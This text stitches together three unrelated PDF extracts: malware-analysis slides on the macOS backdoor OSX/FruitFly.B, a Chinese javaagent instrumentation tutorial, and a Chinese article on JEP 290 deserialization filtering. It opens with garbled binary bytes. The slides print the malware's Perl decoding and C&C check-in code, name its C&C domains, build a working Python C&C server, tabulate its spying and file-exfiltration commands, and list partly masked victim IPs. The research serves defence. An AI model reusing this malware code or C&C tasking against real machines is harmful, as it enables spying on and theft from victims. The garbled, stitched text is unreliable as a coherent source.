H͆ÇÄ& t•Å∞$D°Ü∂yX0ÿÚ∞/XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&...
$ fpsaud <port>
$ fpsaud <addr:port>
process 'hiding'
..and 'ps' too
'perl'
'java'
decoding binary data
...terminal is fooled
protocol / control flow
OSX/FRUITFLY.B
#forever
for ( ; ; ) {
#send client data
G v1
. Y(1143)
. Y( $q ? 128 : 0 )
. Z( I('scutil --get LocalHostName’))
. Z( I('whoami') );
#get & process cmd
for ( ; ; ) {
my $D = ord J 1;
if ( $D == 0 ) { }
elsif ( $D == 2 ) {
my ( $Z, $C ) = ( J 1 );
…
}
elsif ( $D == 47 ) {
…
}
}
}
{ 1143,
128 | 0,
host name,
user name }
recv cmd
execute cmd
send
client info
}
}
loop
1
2
3
do cmd
tasking
'do cmd x'
4
command
response
client info
main processing loop
MONITORING
how to passively observe
network;files;processes;mouse;keyboard
WATCH ALL THINGS
cmd ‘x’
do
cmd ‘x’
}
files?
procs?
mouse? keys?
cmd response
network traffic
file i/o
processes execs
(& shell commands)
mouse &
keyboard events
osx/fruitfly command processing
monitor for these!
goal: to understand the
malware's capabilities via
tasking & passive monitoring
c&c server, protocol & command analysis
NETWORK MONITORING
# tcpdump port 53
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP)
IP 192.168.0.67.59185 > google-public-dns-a.google.com.domain: 41875+ A? eidk.hopto.org. (32)
IP google-public-dns-a.google.com.domain > 192.168.0.67.59185: 41875 1/0/0 A 127.0.0.1 (48)
tcpdump: dns query for (primary) c&c server
cmd #13
"~/fpsaud"
wireshark: response for command #13
}
"install path"
malware components & command analysis
FILE MONITORING
# sudo fs_usage -w -f filesystem | grep perl
open F=5 /private/tmp/client perl5
lseek F=5 <SEEK_CUR> perl5
write F=5 B=0x2000 perl5
write F=5 B=0x11e8 perl5
close F=5 perl5
fs_usage: dropping embedded binary
#assign
my $u = join '', <DATA>;
#decode
my $W = pack 'H*', 'b02607441aa086';
$W x= 1 + length($u) / length($W);
$u ^= substr $W, 0, length $u;
#expand
$u =~ s/\0(.)/v0 x(1+ord$1)/seg;
__DATA__
‹Í∫†á±%Eö¢Ü≤”F˙°Ü±
£B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√ËrH͆ÇÄ&t•Å∞$D°Ü∂yX0ÿÚ∞/
XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&]¢Œ∞$XVÈ»˚cCN†ÄÄ&¥§ñ∞7DHá ..
/tmp/client
encoded mach-O binary
& decoding logic
#argument processing
# ->reads from stdin & switches on value
call getchar
lea rdx, qword [sub_100001cc0+356]
movsxd rax, dword [rdx+rax*4]
add rax, rdx
jmp rax
} switch() to exec
complex commands
/tmp/client
command analysis
PROCESS MONITORING
cmd #11
no open-source user-mode
process monitoring utility for macOS
#procMonitor
new process:
pid=5836
path=/usr/local/bin/pwd
args=none
ancestors=(5836/perl5, 1/launchd)
'pwd'
let's write one :)
process monitoring library
free/open-source/user-mode!
#import "processLib.h"
//create callback block
ProcessCallbackBlock block = ^(Process* newProcess){
NSLog(@"new process:\n %@", newProcess);
};
//init object
ProcessMonitor* procMon = [[ProcessMonitor alloc] init];
//go go go
[procMon start:block];
using the process monitor lib
procMonitor: pwd (cmd #11)
command analysis
MOUSE/KEYBOARD MONITORING
//init event with mouse events & key presses
eventMask = CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseUp) |
CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseUp) |
CGEventMaskBit(kCGEventMouseMoved) | CGEventMaskBit(kCGEventLeftMouseDragged) |
CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventKeyDown) |
CGEventMaskBit(kCGEventKeyUp);
//create event tap
eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, callback, NULL);
//callback for mouse/keyboard events
CGEventRef callback(CGEventTapProxy proxy, CGEventType type,
CGEventRef event, void *refcon)
{
//key presses
if( (kCGEventKeyDown == type) || (kCGEventKeyUp == type) )
{
//get code
keycode = CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
//dbg msg
printf("keycode: %s\n\n”, keyCodeToString(keycode));
}
//mouse
else
{
//get location
location = CGEventGetLocation(event);
//dbg msg
printf("(x: %f, y: %f)\n\n", location.x, location.y);
}
...
# ./sniff
event: kCGEventKeyDown
keycode: h
event: kCGEventKeyUp
keycode: h
event: kCGEventKeyDown
keycode: i
event: kCGEventKeyUp
keycode: i
event: kCGEventLeftMouseDown
(x: 640.23, y: 624.19)
event: kCGEventLeftMouseUp
(x: 640.23, y: 624.19
"Receiving, Filtering, & Modifying:
› Mouse Events
› Key Presses and Releases"
-Mac OS X Internals
mouse/keyboard sniffer
sniff sniff!
code based on:
BUILDING A CUSTOM C&C SERVER
…and then we task!
handling connections
CUSTOM C&C SERVER
address of c&c server(s)
(can specify via cmdline!)
malware's protocol
#init socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#bind & listen
sock.bind(('0.0.0.0', port))
sock.listen(1)
#wait for malware to connect
while True:
connection, client_address = sock.accept()
print 'client connected: ', client_address
python c&c server
$ python server.py 1337
listening on ('0.0.0.0', 1337)
waiting for a connection…
client connected: ('192.168.0.13')
$ perl fpsaud 192.168.0.2:1337
now we know:
launching osx/fruitfly.b
connection received!
handling 'check-in'
CUSTOM C&C SERVER
#connect
$l = new IO::Socket::INET(
PeerAddr => scalar( reverse $g ),
PeerPort => $h,
Proto => 'tcp',
Timeout => 10
);
#send client info
G v1
. Y(1143)
. Y( $q ? 128 : 0 )
. Z( I('scutil --get LocalHostName’))
. Z( I('whoami') );
connect & send client info
size
value
1 byte
1
4 bytes
1143 (version #)
4 bytes
0, or 128
variable
host name
variable
user name ('whoami')
$ python server.py 1337
...
client connected: ('192.168.0.13')
client data:
offset 0x00: byte 1
offset 0x01: int: 1143
offset 0x05: int: 0
offset 0x0d: str (host name): users-Mac
offset 0x1a: str (user name): user
parsing client info
format of client info
G(): send data to c&c server
Y(): pack integer
Z(): pack string
relevant subroutines
handling commands
CUSTOM C&C SERVER
triage command to see:
send command
send additional bytes
receive and process data
1
2
3
for each command:
#command 11
def cmd11(connection):
#send command
connection.sendall(struct.pack('b', 11))
#malware first responds w/ command #
data = connection.recv(1)
print 'byte: 0x%02x (command)' % (ord(data))
#read & unpack length of pwd
data = connection.recv(4)
length = struct.unpack('I', data)[0]
#read 'pwd'
data = connection.recv(length)
print 'string: %s' (pwd) % data
$ pwd
/Users/user/Desktop
$ perl fpsaud 192.168.0.2:1337
launching osx/fruitfly.b
c&c command #11 implementation
#command 11
elsif ( $D == 11 ) {
G v11 . Z( I('pwd') )
}
cmd #11
tasking (command #11)
$ python server.py 1337
...
client connected: '192.168.0.13'
available commands:
11: Print Working Directory
select command: 11
response:
byte: 11 (command)
string: '/Users/user/Desktop' (pwd)
cmd #11
a
b
additional bytes/data?
format of the response
TASKING OSX/FRUITFLY.B
exposing capabilities
via /tmp/client
COMMAND #2
#command 2
elsif ( $D == 2 ) {
my ($Z, $C) = (J 1);
if (!$O && V(v2 . $Z) &&
defined($C = E(4)) &&
defined($C = E(unpack 'V', $C)))
{
G v2 . Z($C);
}
}
direction
size
value
recv
1 byte
commmand, 2
recv
1 bytes
?
send
1 byte
command, 2
send
variable
?
E(): read byte(s) from proc
J(): recv byte(s)
V(): exec embedded binary
G(): send data to c&c server
command #2
cmd #2, 0
# sudo fs_usage -w -f filesystem | grep perl
open F=5 /private/tmp/client perl5
lseek F=5 <SEEK_CUR> perl5
write F=5 B=0x2000 perl5
write F=5 B=0x11e8 perl5
close F=5 perl5
# procMonitor
new process:
pid=3237
path=/private/tmp/client
args=none
ancestors=(1, 3233)
relevant subroutines
command #2's protocol
file i/o & process events
}
args (cmd,?)
via stdin
oh; screen capture!
COMMAND #2
$ du -h response.unknown
1.4M
$ hexdump -C response.unknown
00000000 89 50 4e 47 0d 0a 1a 0a |.PNG....|
00000008 00 00 00 0d 49 48 44 52 |....IHDR|
...
$ file response.unknown
PNG image data, 1245 x 768, 8-bit/color RGB
looks like a .png!
screen capture
response to (cmd #2,0);
sends back 1MB+
wireshark capture
that second byte?
COMMAND #2
cmd #2, 0
cmd #2, 1
cmd #2, 8
cmd #2, 32
cmd #2, 64
cmd #2, 128
cmd #2, 255
param
size
type
color
resolution
0
1.4MB
PNG
color
high
1
64KB
PNG
black & white
low
8
788KB
PNG
black & white
high
9
1.4MB
PNG
color
high
10
60KB
JPEG
color
low
64
168KB
JPEG
color
medium
110
1.2MB
JPEG
color
high
111+
1.4MB
PNG
color
high
cmd #2, 1 (low-res B&W png)
cmd #2, 10 (low-res color jpg)
}
subcommand (2nd byte) impact
task away:
...the mouse moved!
COMMAND #8
#command 8
elsif ( $D == 8 ){
#recv 9 bytes
my ( $Z, $C ) = ( J 9 );
if ( V( v8 . $Z ) &&
defined($C = E(1)) ){
G(ord($C) ? v8 : v0.10);
}
}
direction
size
value
recv
1 byte
commmand, 8
recv
9 bytes
?
send
1 || 2 bytes
command, 8 || 0, 10
command #8
command #8's protocol
response provides no
insight into
command :(
cmd #8
(0,123,456)
# ./sniff
event: kCGEventMouseMoved
(x: 123.000000, y: 456.000000)
mouse move (x,y)
...and action!
...that second byte?
COMMAND #8
cmd #8, 0 (123,456)
cmd #8, 1 (123,456)
cmd #8, 2 (123,456)
...
cmd #8, 7 (123,456)
}
sub-cmd
description
0
move
1
left click (up & down)
2
left click (up & down)
3
left double click
4
left click (down)
5
left click (up)
6
right click (down)
7
right click (up)
note that:
mouse is moved,
then action
down (#4) +
then move (#0) +
then up events (#5) = 'drag'
# ./sniff
event: kCGEventLeftMouseDown
(x: 123.000000, y: 456.000000)
event: kCGEventLeftMouseDragged
(x: 0.000000, y: 0.000000)
event: kCGEventLeftMouseUp
(x: 0.000000, y: 0.000000)
command #8, sub commands
task away:
...and action!
keyboard events
COMMAND #16/17
#command 16 / 17
elsif ( $D == 16 || $D == 17 ) {
#recv 1 byte
my $Z = J 1;
G(v0.23)
if !V( chr($D) . $Z );
}
direction
size
value
recv
1 byte
commmand, 16 || 17
recv
1 byte
?
send
2 bytes
0, 23 (only error)
command #16/17
command #16/17's protocol
cmd #16, 0
cmd #16, 1
...
cmd #16, 65
cmd #17, 65
nothing...
no bytes sent
file write
/tmp/client
proc exec
/tmp/client
keyboard events
# sniff
event: kCGEventKeyDown
keycode: 0x0/'a'
cmd #16, 65
# sniff
event: kCGEventKeyUp
keycode: 0x0/'a'
cmd #17, 65
remote typing
task away:
osx/fruitfly.b; fully deconstructed :)
COMMANDS
cmd
sub-cmd
description
0
do nothing
2
screen capture (PNG, JPEG, etc)
3
screen bounds
4
host uptime
6
evaluate perl statement
7
mouse location
8
mouse action
0
move mouse
1
left click (up & down)
2
left click (up & down)
3
left double click
4
left click (down)
5
left click (up)
6
right click (down)
7
right click (up)
11
working directory
12
file action
0
does file exist?
1
delete file
2
rename (move) file
3
copy file
4
size of file
5
not implemented
6
read & exfiltrate file
7
write file
8
file attributes (ls -a)
9
file attributes (ls -al)
cmd
sub-cmd
description
13
malware's script location
14
execute command in background
16
key down
17
key up
19
kill malware's process
21
process list
22
kill proces
26
read string (command not fully implemented?)
27
directory actions
0
do nothing
2
directory listing
29
read byte (command not fully implemented?)
30
reset connection to trigger reconnect
35
get host by name
43
string' action
'alert'
set alert to trigger when user is active
'scrn'
toggle method of screen capture
'vers'
malware version
<string>
execute shell command
47
connect to host
TRAPPING FRUIT FLIES
let's play a little game
oh f***; they are available!
ABOUT THOSE BACKUP C&C SERVERS
#decode c&c backup servers
for my $B ( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...') )
{
push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’);
}
backup c&c servers
hxxxxx.hopto.org
hxxxxx.duckdns.org
hxxxxx.hopto.org
hxxxxx.duckdns.org
hxxxxx.hopto.org
hxxxxx.duckdns.org
hxxxxx.hopto.org
hxxxxx.duckdns.org
fxxxxxx.hopto.org
fxxxxxx.duckdns.org
fxxxxxx.hopto.org
fxxxxxx.duckdns.org
$ ping eidk.hopto.org
PING eidk.hopto.org
(127.0.0.1) : 56 data bytes
primary; 'offline'
}
primary c&c servers are all taken
...and are offline
addresses of backup ones all available
register c&c server
ANYBODY THERE?
'hxxxxx.hopto.org'
'fxxxxxx.hopto.org'
...
1
2
register
start custom c&c server
09:18:25,702 client connected ( 73.215.4x.xx , 641
09:18:29,561 client connected ('107.10.21x.xx', 58
09:18:49,042 client connected ('73.28.17x.xx', 507
09:19:34,987 client connected ('73.95.13x.xxx', 19
09:19:43,657 client connected ('104.246.6x.xxx', 5
09:19:55,198 client connected ('98.225.11x.xx', 50
09:21:13,237 client connected ('129.22.x.xx', 5436
09:21:58,868 client connected ('132.239.1x.xxx', 6
09:22:10,385 client connected ('73.222.5x.xx', 557
09:22:39,061 client connected ('98.27.14x.xx', 455
09:23:44,346 client connected ('67.247.3x.xxx', 52
09:24:29,554 client connected ('47.40.11x.xxx', 61
09:24:30,947 client connected ('99.241.19x.xxx', 3
09:25:09,028 client connected ('73.42.18x.xx', 628
09:25:31,818 client connected ('73.67.24x.xx', 563
09:25:43,006 client connected ('71.231.12x.xxx', 5
09:25:46,536 client connected ('68.129.15x.xx', 56
09:25:52,615 client connected ('67.176.x.xxx', 562
09:25:57,297 client connected ('129.22.7x.xx', 523
09:26:11,636 client connected ('98.253.4x.xxx', 50
09:26:19,453 client connected ('140.252.11x.xxx',
09:26:40,407 client connected ('24.239.25x.xxx', 5
09:27:04,745 client connected ('68.51.25x.xxx', 63
09:27:16,935 client connected ('68.38.8x.xxx', 498
09:27:30,631 client connected ('73.189.15x.xxx', 5
09:27:37,894 client connected ('129.22.x.xx', 6205
09:27:38,611 client connected ('96.60.12x.xxx', 59
09:28:45,814 client connected ('24.5.4x.xxx', 5862
09:29:34,850 client connected ('130.9x.1x.xx', 501
09:29:42,912 client connected ('173.17x.11x.xxx',
09:31:05 436 client connected ('70 21x 1x xxx'
91
3
...yikes
user name &
computer name
geolocation
}
~400 victims
(in ~2 days)
~90% in the USA
now involved
CONCLUSIONS
wrapping this up
...just by asking the right questions
ANALYZING OSX/FRUITFLY.B
built:
custom C&C server
1
tasked:
the malware
observed:
the malware's response
2
3
hxxxxx.hopto.org
eidk.hopto.org
macOS monitoring
tools
full analysis of
OSX/FruitFly.B
results:
buzz off FruitFly :)
(FREE!) PROTECTION
BlockBlock: persistence (runtime)
OverSight: mic/webcam
KnockKnock: persistence
LuLu: network traffic
support it :)
www.patreon.com/objective_see
contact me any time :)
QUESTIONS & ANSWERS
@patrickwardle
[email protected]
www.synack.com/red-team
join the red team!
patreon.com/objective_see
speakerdeck.com/patrickwardle | pdf |
S-javaagent
参考文章
javaagent使用指南
Java Instrumentation
javaagent 实例
Javaagent 是 java 命令的一个参数。参数 javaagent 可以用于指定一个 jar 包，并且对该
java 包有2个要求：1、这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。2、
Premain-Class 指定的那个类必须实现 premain() 方法。 premain 方法，从字面上理解，就是
运行在 main 函数之前的的类。当 Java 虚拟机启动时，在执行 main 函数之前， JVM 会先运
行 -javaagent 所指定 jar 包内 Premain-Class 这个类的 premain 方法 。在命令行输入 java
可以看到相应的参数，其中有 和 java agent相关的：
-agentlib:<libname>[=<选项>] 加载本机代理库 <libname>, 例如 -agentlib:hprof
另请参阅 -agentlib:jdwp=help 和 -agentlib:hprof=help
-agentpath:<pathname>[=<选项>]
按完整路径名加载本机代理库
-javaagent:<jarpath>[=<选项>]
加载 Java 编程语言代理, 请参阅 java.lang.instrument
agent 编写
MANIFREST.MF
PreMainTraceAgent
此处需要注意的是自动打包的过程中，自定义的 MANIFREST.MF 会被修改，所以需要手动替换，或
者是用maven打包，并自定义打包插件
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: PreMainTraceAgent
//此处是一个空行，不可省略
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class PreMainTraceAgent {
public static void premain(String agentArgs, Instrumentation inst){
System.out.println("agentArgs : " + agentArgs);
inst.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer{
@Override
public byte[] transform(ClassLoader loader, String className, Class<?>
classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)
throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
return classfileBuffer;
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>javaagent</artifactId>
<groupId>org.example</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>agentClass</artifactId>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
main 函数编写
新建一个项目，创建main函数，在启动时通过 -javaagent 参数执行 premain 函数
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<!--自动添加META-INF/MANIFEST.MF -->
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Premain-Class>PreMainTraceAgent</Premain-Class>
<Agent-Class>PreMainTraceAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-
Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
public class TestMain {
public static void main(String[] args) {
System.out.println("main start");
try {
Thread.sleep(3000);
}catch (InterruptedException e){
e.printStackTrace();
}
System.out.println("main end");
}
}
添加 JVM 参数，在启动时注入 agent
执行后会打印出全部的类加载过程
动态修改字节码内容
运行 main 函数之前首先通过 javassit 修改 date 方法的类
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyClassTransformer implements ClassFileTransformer {
@Override
重新打包然后运行之后
public byte[] transform(ClassLoader loader, String className, Class<?>
classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)
throws IllegalClassFormatException {
// 操作Date类
System.out.println(className);
if ("java/util/Date".equals(className)) {
System.out.println(11111111);
try {
//java.util.Date
// 从ClassPool获得CtClass对象
final ClassPool classPool = ClassPool.getDefault();
final CtClass clazz = classPool.get("java.util.Date");
CtMethod convertToAbbr =
clazz.getDeclaredMethod("convertToAbbr");
//这里对 java.util.Date.convertToAbbr() 方法进行了改写，在 return之前
增加了一个 打印操作
String methodBody = "
{sb.append(Character.toUpperCase(name.charAt(0)));" +
"sb.append(name.charAt(1)).append(name.charAt(2));" +
"System.out.println(\"sb.toString()\");" +
"return sb;}";
convertToAbbr.setBody(methodBody);
// 返回字节码，并且detachCtClass对象
byte[] byteCode = clazz.toBytecode();
//detach的意思是将内存中曾经被javassist加载过的Date对象移除，如果下次有需
要在内存中找不到会重新走javassist加载
clazz.detach();
return byteCode;
} catch (Exception ex) {
ex.printStackTrace();
}
}
// 如果返回null则字节码不会被修改
return null;
}
}
JVM 启动后动态 Instrument
上面介绍的 Instrumentation 是在 JDK 1.5 中提供的，开发者只能在 main 加载之前添加手脚，
在 Java SE 6 的 Instrumentation 当中，提供了一个新的代理操作方法： agentmain ，可以在
main 函数开始运行之后再运行。
agentmain 的编写
配置 pom
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation
instrumentation) {
instrumentation.addTransformer(new DefineTransformer(), true);
}
static class DefineTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?>
classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer)
throws IllegalClassFormatException {
System.out.println("premain load Class:" + className);
return classfileBuffer;
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent>
<artifactId>javaagent</artifactId>
<groupId>org.example</groupId>
<version>1.0-SNAPSHOT</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>agentMain</artifactId>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<!--自动添加META-INF/MANIFEST.MF -->
<manifest>
main 函数编写
通过 VirtualMachineDescriptor 获取所有运行中的 jvm 进程，然后匹配当前进程，最后加载
agent
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<Agent-Class>AgentMain</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-
Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class TestMain2 {
public static void main(String[] args) throws IOException,
AttachNotSupportedException {
//获取当前系统中所有 运行中的 虚拟机
System.out.println("running JVM start ");
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : list) {
//如果虚拟机的名称为 xxx 则 该虚拟机为目标虚拟机，获取该虚拟机的 pid
//然后加载 agent.jar 发送给该虚拟机
System.out.println(vmd.displayName());
if (vmd.displayName().endsWith("TestMain2")) { //在获取到当前进程之后，
注入agent
System.out.println("111111111111");
VirtualMachine virtualMachine = null;
try {
virtualMachine = VirtualMachine.attach(vmd.id());
virtualMachine.loadAgent("D:\\Java\\project\\study\\基础
\\javaagent\\agentMain\\target\\agentMain-1.0-SNAPSHOT.jar");
virtualMachine.detach();
} catch (AgentLoadException e) {
e.printStackTrace();
} catch (AgentInitializationException e) {
e.printStackTrace();
}
}
}
运行结果
}
} | pdf |
作者：白帽汇安全研究院@kejaly
校对：白帽汇安全研究院@r4v3zn
前言
在研究高版本 JDK 反序列化漏洞的时候，往往会涉及到 JEP 290 规范。但是网上公开针对 JEP 290 规范
原理研究的资料并不是很多，这就导致在研究高版本 java 反序列化的时候有些无能为力，所以最近对
JEP 290 规范好好的研究的一番，输出这篇文章，希望和大家一起交流学习。
简介
官方描述： Filter Incoming Serialization Data ，即过滤传入的序列化数据。
主要内容有：
Provide a flexible mechanism to narrow the classes that can be deserialized from any class
available to an application down to a context-appropriate set of classes.【提供了一个灵活的
机制，将可以反序列化的类从应用程序类缩小到适合上下文的类集（也就是说提供一个限制反序列
化的类的机制，黑白名单方式）。】
Provide metrics to the filter for graph size and complexity during deserialization to validate
normal graph behaviors.（限制反序列化深度和复杂度）
Provide a mechanism for RMI-exported objects to validate the classes expected in
invocations.【为 RMI 导出的对象设置了验证机制。（ 比如对于 RegistryImpl , DGCImpl 类内置
了默认的白名单过滤）】
The filter mechanism must not require subclassing or modification to existing subclasses of
ObjectInputStream.
Define a global filter that can be configured by properties or a configuration file.（提供一个全
局过滤器，可以从属性或者配置文件中配置）
JEP 290 在 JDK 9 中加入，但在 JDK 6,7,8 一些高版本中也添加了：
官方文档：https://openjdk.java.net/jeps/290
JEP 290 核心类
JEP 290 涉及的核心类有： ObjectInputStream 类， ObjectInputFilter 接口， Config 静态类以
及 Global 静态类。其中 Config 类是 ObjectInputFilter 接口的内部类， Global 类又是 Config
类的内部类。
ObjectInputStream 类
JEP 290 进行过滤的具体实现方法是在 ObjectInputStream 类中增加了一个 serialFilter 属性和一
个 filterChcek 函数，两者搭配来实现过滤的。
构造函数
有两个构造函数，我们需要关注的是在这两个构造函数中都会赋值 serialFilter 字段为
ObjectInputFilter.Config.getSerialFilter() :
ObjectInputFilter.Config.getSerialFilter() 返回 ObjectInputFilter#Config 静态类中的
serialFilter 静态字段
Java™ SE Development Kit 8, Update 121 (JDK 8u121)
Java™ SE Development Kit 7, Update 131 (JDK 7u131)
Java™ SE Development Kit 6, Update 141 (JDK 6u141)
serialFilter 属性
serialFilter 属性是一个 ObjectInputFilter 接口类型，这个接口声明了一个 checkInput 方法
（关于 ObjectInputFilter 后面会更细致的讲解）。
filterCheck 函数
filterCheck 函数逻辑可以分三步。
第一步，先会判断 serialFilter 属性值是否为空，只有不为空，才会进行后续的过滤操作。
第二步，将我们需要检查的 class ，以及 arryLength 等信息封装成一个 FilterValues 对象，
传入到 serialFilter.checkInput 方法中，返回值为 ObjectInputFilter.Status 类型。
最后一步，判断 status 的值，如果 status 是 null 或者是 REJECTED 就会抛出异常。
ObjectInputStream 总结
到这里可以知道， serialFilter 属性就可以认为是 JEP 290 中的"过滤器"。过滤的具体逻辑写到
serialFilter 的 checkInput 方法中，配置过滤器其实就是设置 ObjectInputStream 对象的
serialFilter 属性。并且在 ObjectInputStream 构造函数中会赋值 serialFilter 为
ObjectInputFilter#Config 静态类的 serialFilter 静态字段。
ObjectInputFilter 接口
是 JEP 290 中实现过滤的一个最基础的接口，想理解 JEP 290 ，必须要了解这个接口。
在低于 JDK 9 的时候的全限定名是 sun.misc.ObjectInputFIlter ， JDK 9 及以上是
java.io.ObjectInputFilter 。
另外低于 JDK 9 的时候，是 getInternalObjectInputFilter 和
setInternalObjectInputFilter ， JDK 9 以及以上是 getObjectInputFilter 和
setObjectInputFIlter 。
先来看一下 ObjectInputFilter 接口的结构：
有一个 checkInput 函数，一个静态类 Config ，一个 FilterInfo 接口，一个 Status 枚举类。
函数式接口
@FunctionalInterface 注解表明， ObjectInputFilter 是一个函数式接口。对于不了解函数式接
口的同学，可以参考：https://www.runoob.com/java/java8-functional-interfaces.html 以及 https://
www.jianshu.com/p/40f833bf2c48 ， https://juejin.cn/post/6844903892166148110 。
在这里我们其实只需要关心函数式接口怎么赋值，函数式接口的赋值可以是： lambda 表达式或者是方
法引用，当然也可以赋值一个实现了这个接口的对象。
lambda 赋值：
使用函数引用赋值，比如 RMI 中 RegistryImpl 使用的就是函数引用赋值：
Config 静态类
Config 静态类是 ObjcectInputFilter 接口的一个内部静态类。
Config#configuredFilter 静态字段
configuredFilter 是一个静态字段，所以调用 Config 类的时候就会触发 configuredFilter 字段
的赋值。
可以看到会拿到 jdk.serailFilter 属性值，如果不为空，会返回 createFilter(var0) 的结果
（ createFilter 实际返回的是一个 Global 对象）。
jdk.serailFilter 属性值获取的方法用两种，第一种是获取 JVM 的 jdk.serialFilter 属性，第二
种通过在 %JAVA_HOME%\conf\security\java.security 文件中指定 jdk.serialFilter 来设置。
另外从代码中可以看到，优先选择第一种。
Config#createFilter 方法
Config#createFilter 则会进一步调用 Global.createFilter 方法，这个方法在介绍 Global 类的
时候会说，其实就是将传入的 JEP 290 规则字符串解析到 Global 对象的 filters 字段上，并且返回这
个 Global 对象。
Config 类的静态块
Config 类的静态块，会赋值 Config.configuredFilter 到 Config.serialFilter 上。
Config#getSerialFilter 方法
返回 Config#serialFilter 字段值。
Config 静态类总结
Config 静态类在初始化的时候，会将 Config.serialFilter 赋值为一个 Global 对象，这个 Global
对象的 filters 字段值是 jdk.serailFilter 属性对应的 Function 列表。（关于 Global 对象介绍
下面会说到，大家先有这么一个概念）
而 ObjectInputStream 的构造函数中，正好取的就是 Config.serialFilter 这个静态字段 ， 所以
设置了 Config.serialFilter 这个静态字段，就相当于设置了 ObjectInputStream 类全局过滤器。
比如可以通过配置 JVM 的 jdk.serialFilter 或者 %JAVA_HOME%\conf\security\java.security
文件的 jdk.serialFilter 字段值，来设置 Config.serialFilter ，也就是设置了全局过滤。
另外还有就是一些框架，在开始的时候设置也会设置 Config.serialFilter ，来设置
ObjectInputStream 类的全局过滤。 weblogic 就是，在启动的时候会设置 Config.serialFilter
为 WebLogicObjectInputFilterWrapper 对象。
Global 静态类
Global 静态类是 Config 类中的一个内部静态类。
Global 类的一个重要特征是实现了 `ObjectInputFilter 接口，实现了其中的 checkInput 方法。
所以 Global 类可以直接赋值到 ObjectInputStream.serialFilter 上。
Global#filters 字段
是一个函数列表。
Global#checkInput 方法
Global 类的 checkInput 会遍历 filters 去检测要反序列化的类。
Global 中的构造函数
Global 中的构造函数会解析 JEP 290 规则。 Global 中的构造函数的作用用一句话总结就是：解析 JEP
290 规则为对应的 lambda 表达式，然后添加到 Global.filters 。
JEP 290 的规则如下：
Global 类的构造函数：
具体就是通过 filters add 添加 lambdd 表达式到 filters 中，也就是说对 Global 的 filters 赋值
的是一个个 lambada 函数。
Global#createFilter 方法
传入规则字符串，来实例化一个 Global 对象。
Global 类的总结
Global 实现了 ObjectInputFilter 接口，所以是可以直接赋值到
ObjectInputStream.serialFilter 上。
Global#filters 字段是一个函数列表。
Global 类中的 chekInput 方法会遍历 Global#filters 的函数，传入需要检查的 FilterValues
进行检查（ FilterValues 中包含了要检查的 class , arrayLength ，以及 depth 等）。
过滤器
在上面总结 ObjectInputStream 类的中说过，配置过滤器其实就是设置 ObjectInputStream 类中的
serialFilter 属性。
过滤器的类型有两种，第一种是通过配置文件或者 JVM 属性来配置的全局过滤器，第二种则是来通过改
变 ObjectInputStream 的 serialFilter 属性来配置的局部过滤器。
